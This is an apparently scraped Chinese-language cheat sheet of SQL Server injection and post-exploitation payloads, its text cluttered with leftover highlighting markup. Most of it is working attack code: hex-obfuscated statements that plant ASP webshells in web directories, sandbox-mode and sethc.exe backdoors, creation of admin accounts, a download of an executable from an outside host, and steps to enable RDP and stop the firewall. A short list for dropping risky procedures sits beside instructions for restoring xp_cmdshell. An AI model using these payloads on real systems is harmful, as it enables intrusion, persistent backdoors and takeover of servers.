declare @a <span style="color: #993333;">int</span><span style="color: #339933;">,</span>@b <span style="color: #993333;">int</span><span style="color: #339933;">,</span>@c varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@d varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@e varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@f varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@g varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@h varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@i varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@j varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
set @c<span style="color: #339933;">=</span><span style="color: #208080;">0x6D61737465722E2E73705F6F61637265617465</span><span style="color: #339933;">;</span>
set @d<span style="color: #339933;">=</span><span style="color: #208080;">0x6D61737465722E2E73705F6F616D6574686F64</span><span style="color: #339933;">;</span>
set @e<span style="color: #339933;">=</span><span style="color: #208080;">0x536372697074696E672E46696C6573797374656D4F626A656374</span><span style="color: #339933;">;</span>
set @f<span style="color: #339933;">=</span><span style="color: #208080;">0x4372656174655465787446696C65</span><span style="color: #339933;">;</span>
set @g<span style="color: #339933;">=</span><span style="color: #208080;">0x433A5C496E65747075625C73797374656D2E617370</span><span style="color: #339933;">;</span>
set @h<span style="color: #339933;">=</span><span style="color: #208080;">0x74727565</span><span style="color: #339933;">;</span>
set @i<span style="color: #339933;">=</span><span style="color: #208080;">0x7772697465</span><span style="color: #339933;">;</span>
set @j<span style="color: #339933;">=</span><span style="color: #208080;">0x3C256576616C20726571756573742822582229253E</span><span style="color: #339933;">;</span>
exec @c @e<span style="color: #339933;">,</span>@a output<span style="color: #339933;">;</span>
exec @d @a<span style="color: #339933;">,</span>@f<span style="color: #339933;">,</span>@b output<span style="color: #339933;">,</span>@g<span style="color: #339933;">,</span>@h<span style="color: #339933;">;</span>
exec @d @b<span style="color: #339933;">,</span>@i<span style="color: #339933;">,</span><span style="color: #000000; font-weight: bold;">null</span><span style="color: #339933;">,</span>@j
<span style="color: #339933;">==================================================================</span>
&nbsp;
七、
<span style="color: #339933;">----------------------</span>
<span style="color: #339933;">-----</span>写一句话木马http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com---------------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdeclare&quot;&gt;www.nuanyue.com-----</span>
<span style="color: #339933;">----------------------</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
declare @s nvarchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">4000</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>select @s<span style="color: #339933;">=</span><span style="color: #208080;">0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700</span><span style="color: #339933;">;</span>exec sp_makewebtask <span style="color: #208080;">0x43003a005c007a00770065006c006c002e00610073007000</span><span style="color: #339933;">,</span> @s<span style="color: #339933;">;--</span> and<span style="color: #339933;">%</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">=</span><span style="color: #0000dd;">1</span>
在上面一样<span style="color: #339933;">;</span>exec<span style="color: #339933;">%</span>20sp_makewebtask<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #ff0000;">'d:\zjkdj\zjkdj\zjkds <span style="color: #000099; font-weight: bold;">\b</span>ake.asp,'</span><span style="color: #339933;">%</span>20select<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #ff0000;">''</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #339933;">%</span>25execute<span style="color: #009900;">&#40;</span>request<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">25</span><span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span><span style="color: #ff0000;">''</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #ff0000;">';--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
八、
----------------------
---SA沙盒模式提权-----
----------------------
&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;
1、exec master..xp_regwrite '</span>HKEY_LOCAL_MACHINE<span style="color: #ff0000;">','</span>SOFTWARE\Microsoft\Jet\<span style="color:#800080;">4.0</span>\Engines<span style="color: #ff0000;">','</span>SandBoxMode<span style="color: #ff0000;">','</span>REG_DWORD<span style="color: #ff0000;">',0;--
&nbsp;
2、Select * From OpenRowSet('</span>Microsoft.<span style="color: #202020;">Jet</span>.<span style="color: #202020;">OLEDB</span>.4.0<span style="color: #ff0000;">','</span><span style="color: #339933;">;</span>Database<span style="color: #339933;">=</span>c<span style="color: #339933;">:</span>\windows\system32\ias\ias.<span style="color: #202020;">mdb</span><span style="color: #ff0000;">','</span>select shell<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;net user itpro gmasfm /add&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #ff0000;">');
&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;
&nbsp;
九、
--------------------
-----另类SA提权-----
--------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2、declare @oo int
exec sp_oacreate '</span>scripting.<span style="color: #202020;">filesystemobject</span><span style="color: #ff0000;">', @oo out
exec sp_oamethod @oo, '</span>copyfile<span style="color: #ff0000;">',null,'</span>c<span style="color: #339933;">:</span>\windows\system32\sethc.<span style="color: #202020;">exe</span><span style="color: #ff0000;">' ,'</span>c<span style="color: #339933;">:</span>\windows\system32\dllcache\sethc.<span style="color: #202020;">exe</span><span style="color: #ff0000;">';
1、declare @o int
exec sp_oacreate '</span>scripting.<span style="color: #202020;">filesystemobject</span><span style="color: #ff0000;">', @o out
exec sp_oamethod @o, '</span>copyfile<span style="color: #ff0000;">',null,'</span>c<span style="color: #339933;">:</span>\windows\explorer.<span style="color: #202020;">exe</span><span style="color: #ff0000;">' ,'</span>c<span style="color: #339933;">:</span>\windows\system32\sethc.<span style="color: #202020;">exe</span><span style="color: #ff0000;">';
&nbsp;
DECLARE @o int
DECLARE @z int
EXEC sp_OACreate '</span>Shell.<span style="color: #202020;">Users</span><span style="color: #ff0000;">',@o OUT
EXEC sp_OAMethod @o, '</span>Create<span style="color: #ff0000;">', @z OUT, '</span>test<span style="color: #ff0000;">'
EXEC sp_OASetProperty  @z, '</span>setting<span style="color: #ff0000;">', 3 , '</span>AccountType<span style="color: #ff0000;">'
EXEC sp_OAMethod @z, '</span>ChangePassword<span style="color: #ff0000;">',NULL , '</span><span style="color: #0000dd;">123456</span><span style="color: #ff0000;">', '</span><span style="color: #ff0000;">'
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
十、
--------------
--导出注册表--
--------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1、drop table [regdir];create table [regdir](value nvarchar(1000) null,data nvarchar(1000) null)--
&nbsp;
2、delete [regdir];insert [regdir]exec master..xp_regread '</span>HKEY_LOCAL_MACHINE<span style="color: #ff0000;">','</span>SYSTEM\RAdmin\v2.0\Server\Parameters<span style="color: #ff0000;">','</span>port<span style="color: #ff0000;">'
&nbsp;
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
十一、
&nbsp;
----------------
---下载程序http://www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1&quot;&gt;www.nuanyue.com-----
----------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1、declare @b varbinary(8000),@hr int,@http int,@down int exec sp_oacreate [microsoft.xmlhttp],@http output exec @hr = sp_oamethod @http,[open],null,[get],[http://192.168.1.6:800/wwwroot.rar],0 exec @hr = sp_oamethod @http,[send],null exec @hr=sp_oagetproperty @http,[responsebody],@b output exec @hr=sp_oacreate [adodb.stream],@down output exec @hr=sp_oasetproperty @down,[type],1 exec @hr=sp_oasetproperty @down,[mode],3 exec @hr=sp_oamethod @down,[open],null exec @hr=sp_oamethod @down,[write],null,@b exec @hr=sp_oamethod @down,[savetofile],null,[c:/a.exe],1 ;-- and 1=1
&nbsp;
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
十二、
&nbsp;
-----------------
-Log备份WebShellhttp://www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;&gt;www.nuanyue.com-
-----------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
alter database master set RECOVERY FULL
create table cmd (a image)--
backup log master to disk = '</span>c<span style="color: #339933;">:</span>\cmd<span style="color: #ff0000;">' with init
insert into cmd (a) values ('</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #339933;">%</span>eval<span style="color: #009900;">&#40;</span>request<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>response.<span style="color: #202020;">end</span><span style="color: #339933;">%&amp;</span>gt<span style="color: #339933;">;</span><span style="color: #ff0000;">')--
backup log master to disk = '</span>C<span style="color: #339933;">:</span>\Inetpub\wwwroot\ri3.<span style="color: #202020;">asp</span><span style="color: #ff0000;">'--
drop table cmd--
2<span style="color: #000099; font-weight: bold;">\
</span>
use mir
alter database mir set RECOVERY FULL --
create table cmd8 (a image)--
backup log mir to disk = '</span>c<span style="color: #339933;">:</span>\cmd8<span style="color: #ff0000;">' with init --
insert into cmd8 (a) values ('</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> <span style="color: #339933;">%</span>eval<span style="color: #009900;">&#40;</span>request<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>response.<span style="color: #202020;">end</span><span style="color: #339933;">%&amp;</span>gt<span style="color: #339933;">;</span><span style="color: #ff0000;">')--
backup log mir to disk = '</span>c<span style="color: #339933;">:</span>\backup.<span style="color: #202020;">asp</span><span style="color: #ff0000;">'--
drop table cmd8--
alter database mir set RECOVERY SIMPLE --
3<span style="color: #000099; font-weight: bold;">\
</span>create/**/table/**/[dbo].[shit_tmp]/**/([cmd]/**/[image])--
declare/**/@a/**/sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x6C0061006F007A0068006F007500/**/backup/**/log/**/@a/**/to/**/disk/**/=/**/@s/**/with/**/init,no_truncate--
insert/**/into/**/[shit_tmp](cmd)/**/values(0x3C256576616C28726571756573742822612229293A726573706F6E73652E656E64253E)--
select/**/@s=0x63003a005c0031002e00610073007000/**/backup/**/log/**/@a/**/to/**/disk=@s/**/with/**/init,no_truncate--
Drop/**/table/**/[shit_tmp]--
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
十三、
-------------------------------
--创建sp_readtextfile存储过程http://www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;&gt;www.nuanyue.com--
-------------------------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Create proc sp_readTextFile @filename sysname
as
&nbsp;
  begin
  set nocount on
  Create table #tempfile (line varchar(8000))
  exec ('</span>bulk insert <span style="color: #339933;">#tempfile from &quot;' + @filename + '&quot;')</span>
  select <span style="color: #339933;">*</span> from <span style="color: #339933;">#tempfile</span>
  drop table <span style="color: #339933;">#tempfile</span>
End
go
&nbsp;
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
十四、开3389http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;&gt;www.nuanyue.com</span>
<span style="color: #339933;">===================================================================</span>
declare @a varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>@b varchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> set @a<span style="color: #339933;">=</span><span style="color: #208080;">0x6D61737465722E64626F2E78705F636D647368656C6C</span><span style="color: #339933;">;</span> set @b<span style="color: #339933;">=</span><span style="color: #208080;">0x636D64202F6320776D6963205244544F47474C45205748455245205365727665724E616D653D2725434F4D50555445524E414D4525272063616C6C20536574416C6C6F775453436F6E6E656374696F6E732031</span><span style="color: #339933;">;</span> exec @a @b
<span style="color: #339933;">===================================================================</span>
&nbsp;
我记得<span style="color: #0000dd;">2003</span>的web目录是写在C<span style="color: #339933;">:</span>\WINDOWS\system32\inetsrv\MetaBase.<span style="color: #202020;">xml</span>
<span style="color: #339933;">-----------------</span>
<span style="color: #339933;">---</span>读取文件内容<span style="color: #339933;">--</span>
<span style="color: #339933;">-----------------</span>
exec sp_readTextFile <span style="color: #ff0000;">'c:<span style="color: #000099; font-weight: bold;">\b</span>oot.ini'</span>
&nbsp;
xp_regwrite <span style="color: #ff0000;">'HKEY_LOCAL_MACHINE'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File  Execution Options\sethc.exe'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'debugger'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'reg_sz'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\windows\system32\cmd.exe'</span>
&nbsp;
<span style="color: #339933;">-----------------------</span>
<span style="color: #339933;">---</span>清除MsSql日志http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;&gt;www.nuanyue.com-------</span>
<span style="color: #339933;">-----------------------</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
set nocount on
declare @logicalfilename sysname<span style="color: #339933;">,</span>
@maxminutes <span style="color: #993333;">int</span><span style="color: #339933;">,</span>
@newsize <span style="color: #993333;">int</span>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
&nbsp;
<span style="color: #339933;">----------------------</span>
<span style="color: #339933;">--</span>停掉或激活某个服务<span style="color: #339933;">--</span>
<span style="color: #339933;">----------------------</span>
exec master..<span style="color: #202020;">xp_servicecontrol</span> <span style="color: #ff0000;">'stop'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'sharedaccess'</span>
exec master..<span style="color: #202020;">xp_servicecontrol</span> <span style="color: #ff0000;">'start'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'sharedaccess'</span>
&nbsp;
<span style="color: #339933;">--------------------</span>
<span style="color: #339933;">--</span>列出驱动器的名称http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;&gt;www.nuanyue.com--</span>
<span style="color: #339933;">--------------------</span>
&nbsp;
EXEC <span style="color: #009900;">&#91;</span>master<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>dbo<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>xp_availablemedia<span style="color: #009900;">&#93;</span>
&nbsp;
<span style="color: #339933;">----------------------------------</span>
<span style="color: #339933;">--</span>列出指定目录的所有下一级子目录<span style="color: #339933;">--</span>
<span style="color: #339933;">----------------------------------</span>
&nbsp;
EXEC <span style="color: #009900;">&#91;</span>master<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>dbo<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>xp_subdirs<span style="color: #009900;">&#93;</span> <span style="color: #ff0000;">'c:\windows'</span>
&nbsp;
<span style="color: #339933;">------------------------------</span>
<span style="color: #339933;">--</span>列出当前错误日志的具体内容<span style="color: #339933;">--</span>
<span style="color: #339933;">------------------------------</span>
&nbsp;
EXEC <span style="color: #009900;">&#91;</span>master<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>dbo<span style="color: #009900;">&#93;</span>.<span style="color: #009900;">&#91;</span>xp_readerrorlog<span style="color: #009900;">&#93;</span>
&nbsp;
<span style="color: #339933;">----------------------</span>
<span style="color: #339933;">--</span>列出当前计算机名称<span style="color: #339933;">--</span>
<span style="color: #339933;">----------------------</span>
&nbsp;
execute master..<span style="color: #202020;">xp_getnetname</span>
&nbsp;
<span style="color: #339933;">--------------------------------</span>
<span style="color: #339933;">-</span>列出当前计算机的驱动器可用空间<span style="color: #339933;">-</span>
<span style="color: #339933;">--------------------------------</span>
&nbsp;
execute master..<span style="color: #202020;">xp_fixeddrives</span>
&nbsp;
<span style="color: #339933;">========================</span>
<span style="color: #339933;">==</span>列出服务器所有本地组<span style="color: #339933;">==</span>
<span style="color: #339933;">========================</span>
&nbsp;
execute master..<span style="color: #202020;">xp_enumgroups</span>
&nbsp;
<span style="color: #339933;">======================</span>
<span style="color: #339933;">==</span>获取MS SQL的版本号<span style="color: #339933;">==</span>
<span style="color: #339933;">======================</span>
&nbsp;
execute master..<span style="color: #202020;">sp_msgetversion</span>
&nbsp;
<span style="color: #339933;">=========================================</span>
<span style="color: #339933;">==</span>参数说明<span style="color: #339933;">:</span>目录名<span style="color: #339933;">,</span>目录深度<span style="color: #339933;">,</span>是否显示文件<span style="color: #339933;">==</span>
<span style="color: #339933;">=========================================</span>
&nbsp;
execute master..<span style="color: #202020;">xp_dirtree</span> <span style="color: #ff0000;">'c:'</span>
execute master..<span style="color: #202020;">xp_dirtree</span> <span style="color: #ff0000;">'c:'</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span>
execute master..<span style="color: #202020;">xp_dirtree</span> <span style="color: #ff0000;">'c:'</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span>
&nbsp;
<span style="color: #339933;">=========================================</span>
<span style="color: #339933;">==</span>列出服务器上安装的所有OLEDB提供的程序<span style="color: #339933;">==</span>
<span style="color: #339933;">=========================================</span>
&nbsp;
execute master..<span style="color: #202020;">xp_enum_oledb_providers</span>
&nbsp;
<span style="color: #339933;">=========================</span>
<span style="color: #339933;">==</span>列出服务器上配置的DNS<span style="color: #339933;">==</span>
<span style="color: #339933;">=========================</span>
&nbsp;
execute master..<span style="color: #202020;">xp_enumdsn</span>
&nbsp;
删除存储过程
&nbsp;
drop PROCEDURE sp_addextendedproc
&nbsp;
<span style="color: #339933;">-----------------------</span>
<span style="color: #339933;">--</span>删除sql危险存储过程<span style="color: #339933;">--</span>
<span style="color: #339933;">-----------------------</span>
&nbsp;
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
DROP PROCEDURE sp_makewebtask
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_cmdshell
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_dirtree
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_fileexist
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_terminate_process
exec master..<span style="color: #202020;">sp_dropextendedproc</span> sp_oamethod
exec master..<span style="color: #202020;">sp_dropextendedproc</span> sp_oacreate
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regaddmultistring
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regdeletekey
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regdeletevalue
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regenumkeys
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regenumvalues
exec master..<span style="color: #202020;">sp_dropextendedproc</span> sp_add_job
exec master..<span style="color: #202020;">sp_dropextendedproc</span> sp_addtask
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regread
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regwrite
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_readwebtask
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_makewebtask
exec master..<span style="color: #202020;">sp_dropextendedproc</span> xp_regremovemultistring
exec master..<span style="color: #202020;">sp_dropextendedproc</span> sp_OACreate
DROP PROCEDURE sp_addextendedproc
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xp_cmdshell新的恢复办法
&nbsp;
扩展储存过程被删除以后可以有很简单的办法恢复：
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc <span style="color: #ff0000;">'xp_cmdshell'</span>
&nbsp;
恢复
dbcc addextendedproc <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;sp_oacreate&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;odsole70.dll&quot;</span><span style="color: #009900;">&#41;</span>
dbcc addextendedproc <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;xp_cmdshell&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;xplog70.dll&quot;</span><span style="color: #009900;">&#41;</span>
&nbsp;
这样可以直接恢复，不用去管sp_addextendedproc是不是存在
&nbsp;
<span style="color: #339933;">-----------------------------</span>
&nbsp;
删除扩展存储过过程xp_cmdshell的语句<span style="color: #339933;">:</span>
exec sp_dropextendedproc <span style="color: #ff0000;">'xp_cmdshell'</span>
&nbsp;
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell <span style="color: #339933;">,</span>@dllname <span style="color: #339933;">=</span><span style="color: #ff0000;">'xplog70.dll'</span>
&nbsp;
开启cmdshell的sql语句
&nbsp;
exec sp_addextendedproc xp_cmdshell <span style="color: #339933;">,</span>@dllname <span style="color: #339933;">=</span><span style="color: #ff0000;">'xplog70.dll'</span>
&nbsp;
判断存储扩展是否存在
select count<span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> from master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">sysobjects</span> where xtype<span style="color: #339933;">=</span><span style="color: #ff0000;">'x'</span> and name<span style="color: #339933;">=</span><span style="color: #ff0000;">'xp_cmdshell'</span>
返回结果为<span style="color: #0000dd;">1</span>就ok
&nbsp;
恢复xp_cmdshell
exec master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">addextendedproc</span> <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'xplog70.dll'</span><span style="color: #339933;">;</span>select count<span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> from master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">sysobjects</span> where xtype<span style="color: #339933;">=</span><span style="color: #ff0000;">'x'</span> and name<span style="color: #339933;">=</span><span style="color: #ff0000;">'xp_cmdshell'</span>
返回结果为<span style="color: #0000dd;">1</span>就ok
&nbsp;
否则上传xplog7.0.<span style="color: #202020;">dll</span>
exec master.<span style="color: #202020;">dbo</span>.<span style="color: #202020;">addextendedproc</span> <span style="color: #ff0000;">'xp_cmdshell'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\winnt\system32\xplog70.dll'</span>
&nbsp;
堵上cmdshell的sql语句
sp_dropextendedproc <span style="color: #ff0000;">&quot;xp_cmdshell
&nbsp;
读3389端口
regedit /e port.reg &quot;</span>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP<span style="color: #339933;">-</span>Tcp<span style="color: #ff0000;">&quot;
然后 type port.reg | find &quot;</span>PortNumber<span style="color: #ff0000;">&quot;
sql 语句
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control<span style="color: #000099; font-weight: bold;">\T</span>erminal Server\WinStations<span style="color: #000099; font-weight: bold;">\R</span>DP-Tcp','PortNumber'
declare @s varchar(4000) set @s=cast(0x65786563206D61737465722E2E78705F726567726561642027484B45595F4C4F43414C5F4D414348494E45272C2753595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D546370272C27506F72744E756D62657227 as varchar(4000));exec(@s); --
&nbsp;
开启2003的终端(sa)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control<span style="color: #000099; font-weight: bold;">\T</span>erminal Server', 'fDenyTSConnections','REG_DWORD','0'
&nbsp;
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control<span style="color: #000099; font-weight: bold;">\T</span>erminal Server','fDenyTSConnections','REG_DWORD',0;--
&nbsp;
映象劫持http://www.nuanyue.com---------------------xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx1/&quot;</span><span style="color: #339933;">&gt;</span>www.<span style="color: #202020;">nuanyue</span>.<span style="color: #202020;">com</span>
exec master..<span style="color: #202020;">xp_regwrite</span> <span style="color: #ff0000;">'HKEY_LOCAL_MACHINE'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'debugger'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'REG_sz'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'c:\windows\system32\cmd.exe on'</span><span style="color: #339933;">;--</span> 
&nbsp;
exec master..<span style="color: #202020;">xp_regwrite</span> <span style="color: #ff0000;">'HKEY_LOCAL_MACHINE'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'debugger'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">'REG_sz'</span><span style="color: #339933;">,</span><span style="color: #ff0000;">''</span><span style="color: #339933;">;--</span> 
&nbsp;
